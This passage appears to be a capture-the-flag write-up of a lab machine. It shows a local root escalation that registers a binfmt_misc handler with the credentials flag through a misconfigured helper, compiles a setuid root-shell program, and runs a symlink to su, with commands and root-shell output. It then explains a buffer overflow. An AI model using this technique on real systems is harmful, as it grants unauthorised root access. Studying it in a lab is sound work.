My attention is drawn to line 14 as it is providing the CAP_DAC_OVERRIDE capability to the reg_helper
file, this means that reg_helper
can write to any file on the system.
1
2
dev@retired:~/emuemu$ ls -la /usr/lib/emuemu/reg_helper
-rwxr-x--- 1 root dev 16864 Oct 13 2021 /usr/lib/emuemu/reg_helper
We can run reg_helper
, so let’s first see what it is doing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
reg_helper
is opening /proc/sys/fs/binfmt_misc/register
, let’s see what exactly is binfmt_misc.
binfmt-misc allows you to invoke almost (for restrictions see below) every program by simply typing its name in the shell. To actually register a new binary type, you have to set up a string looking like
:name:type:offset:magic:mask:interpreter:flags
(where you can choose the : upon your needs) and echo it to/proc/sys/fs/binfmt_misc/register
.
With this in mind, if we look again at the Makefile on line 17
, what it is doing is registering a new binary type, because the input received by reg_helper
is being passed as input to binfmt_misc/register
. As we have execution permissions on reg_helper
, then we can register our own binary type.
There is a very important section stated in the binfmt_misc
documentation, which reads as follows:
1
2
3
4
flags
C - credentials
Currently, the behavior of binfmt_misc is to calculate the credentials and security token of the new process according to the interpreter. When this flag is included, these attributes are calculated according to the binary. It also implies the O flag. This feature should be used with care as the interpreter will run with root permissions when a setuid binary owned by root is run with binfmt_misc.
Exploit binfmt_misc register
Therefore, the plan of attack would be as follows:
- create a binary that when executed returns a shell
- register a new binary type with a custom extension, so that when a file with that extension is executed, first launch our binary with the shell
- execute a setuid binary owned by root with the custom extension, so that it uses the same permissions and executes our shell as root.
We are going to create the binary so that it returns a shell when executed in the tmp folder.
1
2
3
4
5
int main (void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
1
dev@retired:/tmp$ gcc supershell.c -o supershell
Lets register a new binary type with a custom extension V3
1
dev@retired:/tmp$ echo ":v3he:E::V3::/tmp/supershell:C" | /usr/lib/emuemu/reg_helper
Let’s find a binary with setuid and create a symbolic link by changing the extension to the custom we registered before.
1
2
3
4
5
6
7
8
9
dev@retired:/tmp$ find / -perm -4000 2>/dev/null
[...]
/usr/bin/su
[...]
dev@retired:/tmp$ ln -s /usr/bin/su su.V3
dev@retired:/tmp$ ./su.V3
root@retired:/tmp# whoami
root
Beyond root
To give a little more context about the exploitation we have done on the activate_license binary, let’s open it with ghidra to see exactly what it does.
Activate License binary main function
The first question is, why when the application crashes, doesn’t the whole service go down? The answer to this is in line 57
, every time a client connects, a new thread is created, so what it does is to crash the child thread, not the main one.
Activate License binary activate function
This is the function that is responsible for activating the license, the vulnerability is clear, it is a basic buffer overflow. In line 12
, a buffer of 512 bytes
is declared, but in line 22
, when we read the content of the license file, it copies in the buffer of 512 bytes
the total of bytes corresponding to the length of the file and here is where the overflow takes place.